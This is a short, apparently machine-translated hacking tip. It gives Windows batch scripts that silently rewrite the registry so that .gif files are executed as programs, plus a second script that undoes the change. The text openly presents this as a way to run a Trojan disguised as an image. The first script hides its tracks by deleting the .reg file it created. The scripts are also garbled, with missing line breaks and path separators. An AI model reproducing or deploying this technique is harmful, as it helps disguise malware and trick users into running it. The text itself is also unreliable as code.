Ordinary files can also be a means of black/gut intrusion

Any file is used as a Trojan to run

Change exe to gif:

@echo offcolor 1AECHO Windows Registry Editor Version 5.00 >gif.regECHO [HKEY_LOCAL_MACHINESOFTWAREClasses.gif]>>gif.regECHO "Content Type"="application/x-msdownload">>gif.regECHO @="exefile">>gif. Regregedit /s gif.reg>nul 2>nuldel /s gif.reg>nul 2>nul

This code is saved as a .BAT file.

Running this BAT file system first will run the .GIF file as an application.

Of course our Trojan suffixes have to be replaced with .GIF, hehe.

Restore gif default:

@echo offcolor 1AECHO Windows Registry Editor Version 5.00>gif.regECHO [HKEY_LOCAL_MACHINESOFTWAREClasses.gif]>>gif.regECHO "Content Type"=" Image/gif">>gif.regECHO @="giffile">>gif.regregedit /s gif.reg>nul 2>nuldel /s gif.reg>nul 2>nul

This code is saved as a .BAT file.